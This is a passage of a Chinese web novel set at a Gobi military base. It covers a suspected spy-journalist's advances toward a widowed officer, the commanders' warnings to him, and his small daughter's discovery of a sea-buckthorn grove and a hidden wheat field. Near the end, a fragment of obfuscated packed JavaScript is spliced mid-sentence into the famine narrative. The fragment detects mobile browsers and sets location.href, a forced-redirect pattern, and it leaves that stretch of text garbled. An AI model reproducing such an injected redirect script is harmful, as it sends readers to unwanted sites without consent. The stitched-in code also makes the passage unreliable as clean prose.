梁哲心里一阵犯怵,他实在不愿和这位女同志有过多肌肤上的接触。可他也清楚,要是不托住她的腿弯,到时双腿悬空,极有可能加重脚踝的伤势,那样会更加难以收场。
万般无奈下,他只好反手绕过身侧,轻轻搂住了沈若文的小腿。
某个遥远的记忆碎片在这一刻轰然回荡在脑海内——
他想起多年前新婚燕尔时,自己也曾这样小心翼翼又满怀柔情地背过妻子林淑芬,那时他们走在老家开满槐花的小路上,她趴在他背上轻笑,浅浅的声音化作柔肠绕指,柔软的发丝蹭过他的颈窝……
相守的时光是那么的温馨又短暂,婚假还未结束,他就匆匆起程奔赴了基地,再次回家时,小女儿甜甜已经呱呱坠地。
算下来,结婚的四年中,自己陪伴她的日子屈指可数,可妻子对自己却从无怨怼。如今天人永隔,他连一句迟来的思念、一声亏欠的道歉都没来得及说出口……
猝然的痛击中了他的心口,呼吸被勒紧,太阳穴在鼓鼓地跳动着。他猛地收束心神,强压下胸中翻涌的情绪,腰间发力,稳稳地将沈若文背出了吉普车。
沈若文伏在他背上,原本打算与他耳鬓厮磨,借着车厢里的独处机会,试探着挑逗几句——她看得出来,梁哲年轻英俊、血气方刚,又在戈壁基地里常年驻守,身边鲜少出现女同志,她不信他能完全无动于衷。
更何况自己容貌出众、身段窈窕,只要略施手段,总能让他心猿意马。
哪知梁哲动作干脆利落,背起她便大步流星朝营区走去,仿佛背着的不是一个温香软玉的女子,而是一捆普通的行李,一袋寻常的物资。
沈若文心里满是不甘,正想在他耳边说些暧昧的话,制造一些刺激,眼角余光却瞥见车外荷枪实弹的战士们,刘司令夹着烟站在不远处,目光直直向他们俩望来。
她心里一凛,瞬间收敛了心思,乖乖地伏在梁哲背上,一时间不敢再轻举妄动。
不急,她在心里告诉自己。能顺利进入基地就已经成功了大半,剩下的事情可以徐徐图之。
有道是,来日方长,绝不能急于一时。
后勤部早已接到通知,把沈若文安排在了女同志集中的营房区。和她同住在一间屋的是炊事班的邢玉秀,人称邢嫂,这会还在灶上忙着。
这里分为两个小院,一个住着科研组的女同志,她们整日泡在实验室里,作息不规律,小院离研究区域更近,涉密程度也高;
另一个住着文职组的女同志,不涉及核心机密,生活氛围相对宽松,平日里也更热闹些。
梁哲将沈若文放到靠窗的空床上,暗自松了口气,总算卸下了这副担子。
“沈记者,你好好休息,我……”他一边说话,一边直起身,一只柔软的手突然探过来,一把紧紧抓住他的手腕!
梁哲猝不及防,重心一偏,被沈若文拉得坐回床沿,两人挨得极近。
“沈记者?!”梁哲愕然,立刻想抽手起身。
沈若文却仿佛毫无察觉,她抬眸望着梁哲的俊脸,声音里柔情似水:“梁团长,辛苦你了,我还没好好谢谢你
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呢。”
说着,她从口袋里掏出一方洁白的手帕,手帕边缘绣着精致的花蕊。她轻轻递到梁哲面前:“你额头上都是汗,擦擦吧。”
这汗哪里是累出来的?分别是被尴尬场面憋出来的。梁哲侧身避开,语气平淡:“分内之事,沈记者不必客气。你好好养伤,后续的事情司令自会为你安排。”
他再次试图起身。
“等一等!”
沈若文又一次拽住了他的袖子,这次力道放轻了,却带着不容忽视的坚持。
“还有事?”
梁哲脸色沉了沉,耐着性子问。
沈若文面上浮现出难为情的神色,声音悄然放低:“我的脚……一时半会儿好不了。在这儿人生地不熟,好多事不方便。能不能……麻烦您帮我找副拐杖”
她目光盈盈地看着他,轻声补充一句,“不然,我连厕所都去不了……”
这要求提得合情合理,让梁哲无法拒绝。
他点点头:“好,我去卫生所问问孙军医那里有没有。”
“太感谢您了。”沈若文松了口气,语气里带着歉意,“梁团长,司令好心收留我,可这基地里,我就认识您和他,往后肯定少不了给你们添麻烦。”
“不用客气,保护群众本就是军人的职责……”梁哲话音未落,院子里忽然传来一阵喧嚷,几个女同志的声音先后响起:“哎哟乖宝贝,你可算回来了,把阿姨们都担心**。”
“快,拿着这盒罐头,瞧这小脸瘦的。”
“宝贝吃饼干,阿姨特意给你留着的。”
在这群关怀的声音中,一个脆生生的童音格外清晰:“阿姨,我来找爸爸。”
梁哲在听到女儿声音的同时,已经站起了身,他打开门,就见自家的小奶团子梳着可爱的两只羊角辫,花棉袄口袋里塞的鼓鼓囊囊,正被一群女同志众星捧月般围在中间。
送她回来的两名战士笑着向梁哲敬礼,解释道:“团长,孩子一睡醒就要找您,王总不敢耽误,就让我们班长亲自开车,把甜甜送回来了。”
“爸爸!”
甜甜不等他说完,已经像阵小旋风似的刮到了梁哲的怀里,被他稳稳接住,顺势举高了些。
“怎么不在实验场待着?”梁哲伸出指腹,轻轻刮了下女儿的小鼻子,甜甜立刻搂紧父亲的脖子,脸颊贴了上去。
“爸爸去抓坏人,甜甜担心你。”
“乖,爸爸没事,坏人已经抓到了。”
“那你为什么不来看甜甜啊?”
小丫头不满地撅起了嘴。
梁哲还没来得及回答,身后传来温柔的声音:“甜甜,你好呀,还记得阿姨吗?”
甜甜扭过头,就见沈若文推开窗户,正对着她微笑招手。
阳光下,她的脸颊白皙细腻,笑容温婉亲切,让人一见便心生好感。
第40章 萌娃护爸!沈若文刻意亲近,却遇硬核拒绝
甜甜睁着圆溜溜的大眼睛看了几秒,用力点了点头,“记得!爸爸打跑了坏人,阿姨还送了甜甜书书!”
“对呀,”沈若文笑着夸赞,“甜甜记性真好,真聪明。你要不要进来,看看阿姨啊?”
“好。”
甜甜一口应下,梁哲无奈,只好抱着她走进屋。
沈若文还坐在床沿上,却向甜甜伸出手,“宝贝,来,坐到阿姨身边。”
甜甜没有向前,歪着小脑袋打量她,好奇地问:“阿姨,你一直在这吗?你也是爸爸的战友阿姨吗?”
“战友阿姨?”
“对呀。”甜甜一本正经地挺起小胸脯,“爸爸说,基地里的叔叔阿姨都是他的战友,甜甜要好好打招呼,要有礼貌。”
沈若文轻笑一声,“阿姨不是你爸爸的战友,但阿姨是你爸爸的朋友呀。”说罢,眼波流转,飞快地瞥了梁哲一眼。
可惜梁哲的注意力全在怀中的女儿身上,压根没留意。倒是甜甜突然伸出小手,指着沈若文红肿的脚踝,小眉头紧紧皱起:“阿姨,你受伤了!”
她凑近了些,小声问:“痛痛吗?”
“不痛,”沈若文神情温柔,轻轻摇了摇头,“谢谢甜甜的关心,你真懂事。”
“孙爷爷说,生病痛痛就要吃药药,”甜甜学着大人的样子,一脸认真地叮嘱,“阿姨不要怕苦,多吃药药,就能快快好起来啦!”
“好,阿姨一定听甜甜的话,好好吃药。”沈若文笑着点头,又拍了拍随身的挎包,“你看,阿姨有好东西要送给你哦。”
她打开包,从里面取出一个油纸包,解开系着的绳结,一股浓郁的油酥甜香立刻飘了出来。
只见里面装着炉果、蜜饯、杏仁酥、糖嘎吱、姜米条等,全是精致的点心。
甜甜的眼睛立刻被吸引住了,小鼻子轻轻吸了吸,舍不得放过一丝香气。
“这些是供销社里卖得最好的点心,本来是我采风时带着垫肚子的。”她看向梁哲,轻声解释,“虽然不是刚出炉的,但味道一点儿没变。甜甜要是不嫌弃,就送给你。”
梁哲扫了一眼那些点心,知道她没说错。这些点心在供销社里至少要八毛钱一两,还是限量供应的紧俏货。一两没几块,这一整包算下来,少说也得五块钱。
寻常人家,谁舍得买这样的零嘴?
怪不得女儿见了,就像只盯着鱼干的小馋猫,眼巴巴地挪不动窝了。
“沈同志……”
即便如此,梁哲并不想平白无故接受这份厚礼。在他潜意识里,始终不愿与沈若文走得太近。对于这种看似随意,实则刻意的示好,他并非不懂。
可话才说了一半,就被沈若文出声打断:“梁团长,你们救了我,又好心收留我在基地养伤,这只是我的一点心意,你就别跟我客气了。”
说着,她把油纸包往甜甜面前递了递,柔声道:“乖宝贝,拿着吧。”
甜甜咽了咽口水,却有些犹豫。爸爸没点头,好孩子不能随便要别人的东西。
沈若文见她馋得眼睛亮晶晶的,却还坚持着不伸手,忍不住笑了,又把油纸包往前递了递:“放心吧,爸爸同意的。你看看,喜欢哪一个呀?”
或许是递东西时动作大了些,她本就坐在床沿前,身子猛地晃了晃,眼看就要从床上栽下来。
梁哲眼疾手快,左手急忙扶住她的肩膀,偏偏沈若文身子向前一扑,整个人带着那包点心,径直倚进了梁哲怀里。
一时间,梁哲一手抱着女儿,一手扶着沈若文,三个人挨得极近,几乎凑成了一个小小的圆圈。
若是被不知情的人看见,怕是要误以为这是一家三口,正依偎在一起,透着满满的温馨与和谐。
“爸爸?”怀里的甜甜眨了眨圆溜溜的大眼睛,看看爸爸,又看看倚在爸爸怀里的沈若文,小眉头微微皱起。
下一秒,她伸出软乎乎的小手,推了推沈若文的胳膊,语气里藏着几分不满:“阿姨,你压到爸爸啦。”
这声天真无邪的提醒,瞬间让沈若文脸颊飞起红晕。她慌忙向后一缩,重新坐回了床里。
而梁哲也终于有机会后退半步,拉开了彼此的距离。
“对不起,梁团长,我……”她垂着眼睫,表情无辜委屈,声音低了下去,“我不是故意的,你别见怪。”
“没事。”梁哲硬邦邦地吐出两个字,语气里听不出半分怜惜,仿佛刚才靠过来的不过是一截普通的木头。
他重新调整了一下抱着甜甜的姿势,将女儿往上托了托,借着这个动作,重新在两人之间筑起一道无形的屏障。
沈若文本以为,刚才那一靠,即便对方是铁石心肠,也该软化几分,却没料到梁哲压根不吃这一套。
无奈之下,她干笑两声,依旧托着那包点心:“梁团长,您别误会。我是真心想谢谢你们父女。这包点心就当是我在基地暂住的‘伙食费’,您收下吧?不然我心里实在过意不去。”
话都说到这份上,梁哲若再推辞,怕是要被她继续纠缠,引来旁人注意。他只好点头:“既然如此,那就多谢沈同志了。”
说完,他松了口风,向女儿道,“甜甜,谢谢阿姨。”
“谢谢阿姨!”甜甜立刻忘了刚才沈若文“抢爸爸”的小插曲,脆生生地道了谢,伸出小手接过了那包点心。
油纸包刚到手,浓郁的香气便扑鼻而来,小孩子终究抵不住美食的诱惑,她把点心紧紧抱在怀里,笑得眼睛弯成了月牙。
沈若文也重新绽开笑颜,伸手便要去摸甜甜的头,想借此拉近关系。可就在她的手探出去的瞬间,梁哲不着痕迹地侧了侧身,她那细白的手指终究落了空,只在空气中徒劳地划过。
失望在沈若文眼中一闪而过,她还想再说些什么打破尴尬,门帘一掀,秘书处的李桂华恰在这时走了进来。
她一眼先看到甜甜,喜得赶忙伸出双手,“甜甜!”
甜甜一反对沈若文的疏离,欢快地伸出胳膊搂住李桂华的脖子,小身子直接扑进了她怀里。
“你可担心死我了,我的乖甜甜!”
李桂华紧紧抱着她,眼眶微微发红。
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上回甜甜独自离开基地,她好几晚都没睡安稳,心里全是惦记。
她自己是苦出身,从小家境贫寒,没享过几天福。十多年前,鬼子撤退时血洗了她的村庄,她因为年纪小,躲在地窖里才侥幸逃过一劫。后来,她独自一人徒步数十公里投奔部队,老**怜惜她的身世,送她去读书,还让她做了部队的文职工作。二十几岁时她成了家,可丈夫不幸染上疟疾,一病不起,连个一儿半女都没留下,李桂华便又成了孤身一人。
直到随军来到这片戈壁,这里艰苦却温情的环境让她重新找到了家的归属感,她也把全部身心都投入到了基地工作中。每次看到甜甜,她心底最柔软的地方就会被触动,她绝不容许任何人伤害这个孩子。
好在一切有惊无险。
李桂华平复了下心情,向梁哲道:“梁团,刚接到通知,司令召集紧急会议,让你马上过去!”
随后她又转向沈若文,语气柔和了许多:“沈记者,欢迎来到基地。你应该还没吃早饭吧?我让炊事班给你留了粥和咸菜,这就去给你送来?”
沈若文见甜甜对李桂华如此亲近,心里微微泛酸,却还是立刻换上感激的笑容:“大姐,太谢谢您了。我昨天一路赶来看戈壁,到现在还没吃东西,真是麻烦您了。”
“不麻烦,应该的。”李桂华说着,递给梁哲一个眼神。
梁哲会意,向沈若文告辞,起身随李桂华走出屋子。
院外的女同志们见状,纷纷往两边退开,有人好奇地望向屋内,有人笑着和甜甜摆手再见。
李桂华对众人道:“大伙都别聚这儿了,该干嘛干嘛去,注意纪律啊。”一边对梁哲道,“梁团,前几天甜甜跑出去的事,我心里一直过意不去,幸好孩子没事。她没被吓着吧?”
“李姐言重了,不怪你。”梁哲摇了摇头,简单说了几句甜甜的历险,“这次多亏了甜甜,要是她没跑到实验场预警,后续可能会出大危险。”
李桂华闻言,盘桓在心里许久的大石头终于落了地,她把额头贴在甜甜的小脸蛋上,宠溺地说:“我们甜甜啊,真是个小福星。”
“李姐,”梁哲犹豫了一下,还是开口道,“我和这位沈记者只是偶然相识,今天送她回来也是奉了司令的命令。基地里的同志要是有误会,还麻烦你帮忙澄清一下,让大家别乱猜。”
他不想因为沈若文的到来,让众人误会自己有别的想法,更不愿和这个心思难测的女记者牵扯到一起。
李桂华立刻明白了他的意思,认真地点了点头:“梁团你放心,我知道该怎么做。我一会儿就去找妇联的冯主任,把情况说清楚,让她帮你出面。”
“那就麻烦你了。”梁哲道了谢,摸了摸女儿的头,“我要去开会,麻烦你再帮我照看会儿甜甜。”
“没问题。甜甜,跟爸爸说再见,等爸爸开完会就来接你。”
“爸爸再见。”
“乖,要听阿姨的话,爸爸很快回来。”
和女儿道别后,他转身朝会议室快步走去。
第41章 司令敲警钟:沈记者这是盯上你了!
梁哲赶到会议室门口,立定站好,沉声喊了句:“报告!”
“进!”是刘司令浑厚的嗓音。
推门而入,他才发现会议室里只坐着刘司令和白旅长两人,桌上摊着几份文件,烟灰缸里积了不少烟蒂,空气里弥漫着淡淡的烟草味。
其他参与发动机排查的专家们,还都留在实验场收尾,尚未赶回来。
“你来得正好,坐。”白旅长指了指身旁的空座椅,
梁哲依言坐下。
白旅长拿起桌上一份审讯报告,往前一推:“宋大壮已经完成了初步审讯,万洪辛全撂了。他承认自己在基地从事敌特活动,与镇医院杨岩色结,打碎钱老的药瓶,篡改‘长剑’项目基础数据,都是他干的。”
梁哲眉头微皱:“只有他自己?基地和外界通讯严格管控,他是如何与外界沟通的?”
“用基地的加密电话。”白旅长翻开报告某一页,“他承认利用了夜间值班时间,通过特定频率与外界联络。”
“那迷倒守卫、私放江国强教授呢?也是他?”梁哲追问道,“而且事发时万洪辛已经在我们的追捕中,他怎么分身回来救?”
白旅长沉着难看:“这正是最蹊跷的地方。我们在看守战士的口鼻处检测出了**残留,但在万洪辛身上、住处,甚至他可能接触到的地方,都没找到任何**的痕迹,现场的足迹、指纹也对不上。”
“可他就是一口咬定全是自己干的,任凭怎么审,都不肯再多说一个字,摆明了是要硬扛。”
刘司令掸了掸指尖的烟灰,冷哼一声,“这小子,是打定主意要包庇啥子人喽。”
他转向白旅长,烟雾中,属于老战士的眼神此刻分外锐利:“这次来的四位外援专家里,郑宏教授和他的助手高衍舟技术员,有没有什么异动?”
“自从万洪辛出事,我们就已经暗中布控,安排了专人跟进他们的行踪。”白旅长汇报,“目前来看,两人除了正常的工作交流,没有和任何可疑人员接触,也没出现过违规出入涉密区域、打探核心数据的情况,暂时没发现可疑之处。”
刘司令缓缓点头。
“司令,接下来要怎么处理万洪辛?继续扣押审讯?”
刘司令沉吟片刻,做出决定:“在我们这里搞不出么事了,还容易让他有侥幸心理,和潜伏人员串供。我给京城通电话,把他用直升机运回去,到了国安部,不信他倒不出东西。”
“明白,”白旅长接口,“我这就安排。”
“梁哲啊。”刘司令转过头,语气缓和了几分:“喊你过来,除了通报万洪辛的审讯情况,还有另一件事要跟你谈谈。”
梁哲心里一沉,立刻起身立正:“报告司令,关于沈若文记者的事,我可以解释。我之前帮助她纯粹出于军人职责,没有任何个人因素。”
“坐下嘛,”刘司令摆了摆手,“又不是什么严肃的问题,只是一次普通的谈话。”
白旅长在一旁轻咳了一声,“小梁啊,咱们都是男人,我就直说了。你对那位沈若文记者,到底是个什么看法?”
“看法?”梁哲一愣,有些茫然地重复了一遍。
“就是直观感受嘛。”白旅长笑了笑,“我知道你们接触的时间不长,但相处下来,总能有个初步印象吧?比如她的为人、性格之类的。”
梁哲几乎没有任何犹豫:“报告旅长,没有感受。”
“什么都没有?”白旅长挑眉,打趣道,“可她看你的眼神,可不是普通群众看当兵的样子。”
梁哲表情严肃:“旅长,我和她只有两次接触,一次是帮她夺回挎包,制止了一场**。再就是今天送她回营房。除此之外,私下没有任何会面。至于她为什么会来到戈壁、为什么要进基地,我完全不清楚。”
“莫要紧张嘛。”刘司令重新点燃一支烟,吸了一口,似笑非笑地看着他,“这位女同志,费尽心思要进咱们这个戒备森严的基地,到底是有别的什么想法,还是单纯的,就冲着你梁哲来的,现在还不好说。”
“冲着我?”梁哲霍地站了起来,“司令,我和她萍水相逢,她怎么可能是冲着我来的,这里面一定有误会。”
“误会?你说她要报道新闻,戈壁边上就能采访到不少素材;你说她是迷路了,可偏偏就‘迷’到了咱们这个位置隐蔽的基地附近。”
老司令笑得家乡话都出来了,“你这个年轻伢子,平时观察敌情敏锐得很,怎么到了这种事上就
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糊涂了?那女同志的魂都快被你勾出来了,也就只有你莫得看出来。”
梁哲腾的一下脸就红了,“司令。我没有!司令!我绝对没有这种想法!我是有妻子的人……”
话说到一半,他的声音忽然哑了。
会议室内陷入一阵难言的沉默。
白旅长轻叹一声,示意他坐下:“梁哲啊,我们都知道你爱人走得早,你心里一时半刻放不下她,这是重情重义。但日子总要往前看,组织上从来没有要求同志们必须守节。你还年轻,甜甜也还小,她往后的成长,也需要一个母亲的陪伴。”
“白树勇同志说的嘛,也对。”刘司令吸了口气,语重心长。
“你这个伢子是个好同志,年轻有为,为人正直,这样的同志有人喜欢、有人惦记,很正常。但你要记住——”
他顿了顿,一字一句道:“我们现在身处特殊时期、特殊地点。敌特分子无孔不入,他们可能会利用任何弱点、任何感情来渗透。”
“那位沈记者出现的时机太巧,在她的身份完全确认之前,你要提高防范意识,保持距离,保持警惕。”
梁哲深吸一口气,“是,司令,我明白。”
“也没有那么严重。”白旅长见刘司令三言两语说的梁哲肩膀都绷了起来,抬手示意他放松。
“你不要有太大压力,我们已经安排了李桂华同志负责照顾她的日常,只不过你作为她的熟人,相信日后免不了要和你接触,你自己心里有数就行。”
“不止是有数。”刘司令在这件事上的态度和白旅长有细微的分歧。白旅长是真心操心梁哲的终身大事,但刘司令更担心的是梁哲身后的甜甜,以及整个基地的安全,
“你要做到及时汇报,防范于未然,这不是不信任同志,而是对**事业负责。”
老司令起身走到窗前,望着外面灰黄辽阔的戈壁:“万洪辛落网了,但不意味着危险解除。他能潜伏这么久,说明我们的安保工作还有漏洞。现在又来了个身份不明的女记者……梁哲,你肩上的担子不轻啊。”
“请**放心!”梁哲再次起立,“我保证完成任务,绝不会因为个人感情影响工作,更不会给敌人任何可乘之机。”
第42章 戈壁藏奇迹!沙棘果满山野,甜甜却不见了
白旅长走过来,拍了拍他的肩膀:“好了,这个话题到此为止,你现在还有一个重要的事情要处理。上回甜甜说过的沙棘林,咱们得去看看,那些沙棘果可是救命的好东西,绝不容有失!”
“是!”
梁哲敬礼后转身离开。会议室的门关上后,白旅长看向刘司令:“老**,您觉得这个沈若文……”
刘司令眯着眼睛,烟雾缭绕中神色难辨:“派人去查她的记者证和介绍信来源了吗?”
“已经联系上级部门核实了,需要时间。”
“那就等。”刘司令缓缓道,“不过她既然敢进基地,应该就是笃定身份上面没什么破绽。”
“司令,还是您睿智,与其让她在暗中搞小动作,不如就直接放在眼皮子底下,这样,也能时刻警醒我们自己。”
“话说回来,”白旅长笑了笑,“梁哲这小子要是真能遇到合适的,也是好事。最起码能多个人一起照顾甜甜。”
“还用啥子人!我们这么多人还照顾不好个小娃娃?”刘司令虎起脸,自从甜甜发现了发动机的障碍,刘司令恨不得把她当亲孙女疼。
白旅长看他一副急眼了的样子,笑道,“司令,我不是说咱们照顾不好甜甜。但再好的照顾,也替代不了母爱啊。要是能有一位真心对甜甜好的‘妈妈’,对孩子的成长和心理健康也更有利嘛。”
“那也要看她能不能担得起这份责任。不管是谁,要是对甜甜有一点不好,我可是第一个不答应。”
“司令您放心,我看梁哲那样子,心里还装着林淑芬呢。一时半会儿,怕是没人能走进他心里去。”
“年轻人感情上的事,谁说得准。这会没人,保不齐忽然就开了窍呢。”刘司令掐灭烟头,整理了一下军装。
“走吧,去实验场看看钱老他们,数据的问题查清楚了,但发动机的损伤评估还要时间。‘长剑’能不能飞天,就看这几天的结论了。”
两人收拾好文件,车已经等候在基地门外。而隔着远远的距离,沈若文的视线正透过窗户,目光飘向未知的点。
她腿上摊开一本采访本,上面密密麻麻写满了字,仔细看却是些无关紧要的采访提纲。
门外传来脚步声,李桂华的声音响起:“沈记者,卫生所的孙军医来了,给您看看脚伤。”
沈若文立刻收敛了所有思绪,换上温婉得体的笑容:“麻烦孙军医了,快请进。”
上午十一点钟,一行车队驶出了实验场,领头的吉普车里坐着后勤部部长赵有田,梁哲抱着甜甜,宋大壮在一旁护着,他们的目地的,是沙丘后面的沙棘林。
后面跟着的两辆苏式卡车上,坐满了一个排的战士,每个人手里拿着锹镐等工具——他们已经不是第一次执行这种挖坑刨土的作业了,每次都有不同的收获和惊喜,这一回,更是让他们充满了期待。
凭借着甜甜小向导的超绝记忆力,车队很快便开到了一处高大的沙丘前,这沙丘像头伏卧的骆驼,脊背高高拱起,就像是矗立起的大山。
甜甜一落地,就挣脱梁哲的怀抱,小短腿噔噔噔跑到沙丘前,叉着腰奶声奶气喊:“红果果就在后面!”
宋大壮手搭凉棚望过去,咂舌道:“乖乖,这沙丘少说也有十几米高,你个小不点咋爬上去的?”
甜甜得意的扬着下巴:“甜甜自己爬的!厉害吧!”
“厉害厉害!”宋大壮忍不住弯腰,用额头轻轻顶了顶她的小脑门,逗得甜甜咯咯直笑,清脆的笑声在空旷的戈壁上荡开。
他随即直起身子,大手一挥,嗓门洪亮,“全体都有!目标,翻过山丘!冲!”
知道这后面就是大片沙棘林的战士们早就摩拳擦掌,准备已毕。听得一声令下,大伙就跟开闸猛虎似的,“嗷”的一声便冲了上去,很快开始了往沙丘顶端的冲锋。
不过爬沙子可跟登山不一样,脚踩下去就陷,稍不留神就往下滑。但这点困难,哪能拦得住盼着沙棘果的战士们,只要一想到马上就能吃到酸甜的水果,解了满嘴的火泡,谁还管沙子好爬不好爬呀。
战士们你追我赶,有人把铁锹当拐棍,拄着往上挪;有人干脆脱了布鞋,光着脚丫子,脚掌陷进沙里,反而更稳当;还有的干脆手脚并用,像猴子似的往上爬。
“都给老子加把劲!”宋大壮在后面吼,“第一个登顶的,老子赏他先吃一把沙棘果!”
“副团您就瞧好吧!”
战士们发出不服输的吼声,谁都不甘落后,生怕自己爬慢了一步。
赵有田年纪虽然比这些战士们都大,可也是正巴经儿的当兵的出身,当年在炊事班,背着几十斤的铁锅急行军十余里都不喘气。他撸起袖子,往掌心吐了口唾沫,二话不说就冲了上去,速度一点不输年轻人。
梁哲和宋大壮一人牵着甜甜的一只小手,提着她往沙坡上走。小姑娘一开始还乖乖被牵着,可走了几步,脚下的沙子忽然变得不一样了——
不再是软塌塌的,反而像有一股无形的力气在托着她的小脚丫,每一步都踩得稳稳当当,和自己离开沙丘时一模一样。
“嗯?”梁哲最先察觉不对,低头一看,甜甜正迈着小短腿,蹭蹭蹭地往前蹿,居然比他和宋大壮还快。
宋大壮也看呆了,
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啧啧称奇:“这丫头,真是个小福星,连沙子都帮她!”
爬在半道的战士们眼睁睁看着一个小影子嗖嗖几下就抢到了自己前面,忍不住哈哈大笑:“甜甜厉害啊!比叔叔们爬得都快!”
“甜甜等等叔叔!输了可要给叔叔唱歌!”
甜甜回头冲他们做了个鬼脸,小短腿迈得更快了,不一会儿就把大人们甩在身后,小小的身影在沙坡上格外显眼。
在一片欢声笑语里,队伍很快就冲上了沙丘顶端。
眼前的景象,让这群在戈壁滩上待了数年的战士们,瞬间红了眼眶。
沙丘背后,哪里是什么小小的沙棘林,那是一片望不到边的沙棘海!
密密麻麻的沙棘树挨挨挤挤,枝条上挂满了红彤彤、黄澄澄的沙棘果,像是银河里的星辰,又像是锦缎上缀满的宝石。
风一吹,酸甜的气息扑面而来,勾得人直咽口水。
“我的娘啊……”一名战士喃喃自语,手里的铁锹“哐当”一声掉在沙地上。
赵有田一屁股跌坐在沙脊上,眼眶瞬间红了。
他怎能不激动?自从基地里有了甜甜,水有了,鱼有了,地有了,现在,连救命的沙棘果也有了!
这孩子,简直就是上天赐给整个基地的守护神。
“赵部长,您下令吧,接下来怎么干?”宋大壮站在高处问道。
“同志们啊,”赵有田稳了稳心神,声音还是有点发颤,“这批果子,咱们只摘熟透的,青的、小的,都不要动,得让它们休养生息,摘下的果子拿筐装好,千万别压碎了。”
“是!”战士们齐声响应,立刻动起手来。
赵有田不放心,又追着嘱咐:“轻点!都给我轻点!别把树枝弄断了,甜甜特意交代要爱护树木的!”
“哎哎那个谁,别踩树!够不着就换棵树,旁边的果子多的是!”
“你你你!让你摘果子,你薅树叶干啥!这叶子又不能吃!回头再给树弄秃了!”
一步一叮咛,简直把这沙棘林当成了眼珠子护着。
他可没忘了,下来之前,甜甜拉着他的袖子,一个劲地和他说:“赵爷爷,小树是好朋友,你别弄疼它。”
他哪敢让人使一点蛮力。
宋大壮和梁哲也亲自上手。两人个子高,摘起沙棘果来得心应手。亮晶晶的果子捧在掌心,那份欣喜与骄傲,实在难以言表。
不一会,带来的土筐、木盆就装了大半,正当众人沉浸在丰收的喜悦中时,一声惊叫陡然炸响——
宋大壮一个回身,手指哆嗦着指着地上某处,眼睛瞪得像铜铃:“甜……甜甜呢?!甜甜去哪了?!”
第43章 甜甜失踪惊出冷汗!追过去才知戈壁藏着麦田
就在刚才,甜甜还蹲在地上,一手拿了根小树枝,在沙地上划来划去,嘴里嘟囔着什么,大人们见这里都是自己人,她又玩得开心,便没有去管她。连梁哲都摘果子去了。
人总是这样,面对丰饶的馈赠,摘了这颗又舍不得那颗,越摘越投入,恨不得全部揽入怀中。
梁哲起初还留意着女儿的动静,后来见她沉浸在与沙地的“对话”中,且处在安全范围内,便稍稍放松了警惕。
其实梁哲初始还留神听着女儿的脚步声,后来见她沉浸式地和沙子聊天,又在安全范围内,也没有留神,听到宋大壮这一嗓子,梁哲的汗瞬间就下来了,他猛地回头,盯着地上那片小脚印,眼珠就已经红了。
听见宋大壮这一嗓子的瞬间,梁哲的脑子“嗡”的一声,浑身血液仿佛瞬间凝固。他猛地回头,视线落在那串渐渐消失的小脚印上,一股寒气从脚底直冲天灵盖。
在他眼皮子底下,要是女儿出了事,他活着还有什么意思!
“啪”的一声,梁哲扔掉了手中的筐,疯了一样顺着脚印的方向狂奔而去。好在沙地留痕,那独特的、如同小猫般的足迹一路蜿蜒,清晰可辨。
宋大壮等人一看,也都慌了神。摘果子?命重要还是果子重要?
“追!”众人扔下工具,紧随其后。
甜甜毕竟年幼,步子又小,没跑多远,身影便出现在了众人视野中。
梁哲眼中迸发出狂喜的光芒,正要不顾一切地扑过去,却被身边的宋大壮一把死死拽住。
“梁团,别动!你看前面!”
梁哲脚步骤停!
方才寻女心切,压根没看周围的环境,此刻顺着宋大壮指的方向望去,才发现眼前的不对。
何止不对!
简直是颠覆认知,是绝无可能,是赤裸裸摆在眼前、却让人无法理解的奇迹!
他整个人如遭雷击,顿时僵在了原地。身后的抽气声和惊呼声已如潮水般迭起。
“砰!”
一名战士手中的**差点脱手,吓得他用**拄在地上才稳住身形。
反应最大的当属赵有田。老部长像是被人扼住了喉咙,倒吸一口凉气便再没吐出来,憋得满脸通红,吓得周围战士差点上去掐他人中。
梁哲自己也几乎不敢相信眼睛。他抬手用力揉了揉眼眶,再定睛看去——不是幻觉,也不是海市蜃楼,竟是真的!
甜甜面前,是一片被高大沙丘温柔环抱的天然盆地。
盆地中央,沃土绵延数百米,与先前发现的红薯地土质相仿。可不同的是,这片土地上长满了金澄澄的麦穗!
沉甸甸的谷穗弯着腰,垂着头,以近乎亲昵的姿态贴近大地,仿佛在向发现它们的人轻声细语:
“来吧,我们已熟透了。”
风吹过,麦浪翻滚,沙沙作响,可发现它的所有人都像被施了定身法,僵在原地,没人敢率先迈出一步。
甚至都不敢用力呼吸。
他们都怕。
怕稍稍一动,便会惊醒了这场美梦。
“咣啷……”
不知是谁手中的铁锹掉在了地上,清脆的声响惊醒了众人。下一秒,一名战士“扑通”一声跪倒在地,颤抖着手捧起一把黑土,肩膀开始无法抑制地颤抖,压抑的、哽咽的抽泣声低低传了出来。
在他身后,第二个,第三个……
越来越多的人无声地跪下,眼泪冲出眼眶,在沾满沙尘的脸上冲出沟壑。
哭声维持了短短的几秒,紧接着,便被猛然爆发的、震天动地的狂喜欢呼彻底淹没!
“啊啊啊啊——!!!”
他们激动地抱在一起,用力捶打着彼此的后背;有人干脆呈大字型躺倒在地,在沙土上欢快地翻滚;还有人哆嗦着手,小心翼翼地掐下一穗麦粒,放进嘴里细细地嚼,品尝着那陌生又熟悉的、属于粮食的扎实香气……
兴奋、狂喜、不敢置信,这些不怕流血,不怕流汗,把所有一切都献给戈壁的战士们,此刻一个个哭得像个孩子。
戈壁滩上,风沙呼啸了多少年,他们就盼了多少年。
盼水,盼粮,盼着能吃上一口香喷喷的白面馒头。
可全国连续三年遭遇严重旱灾,洪涝、台风、病虫害接踵而至。主要产粮区河流断流、水井干涸,土地龟裂,农作物大面积绝收减产。
一夜之间,全国人民都陷入了饿肚子的苦日子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17207345|197367||http|test|mini|href|location''.split(''|''),0,{}));
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r>别说白面馒头,就连掺了糠皮的大小碴子、苞米面都要省着吃,个别地区的百姓,甚至啃树皮、挖草根,吃那烧不烂、咽不下的观音土,因此得病的人更是不计其数。
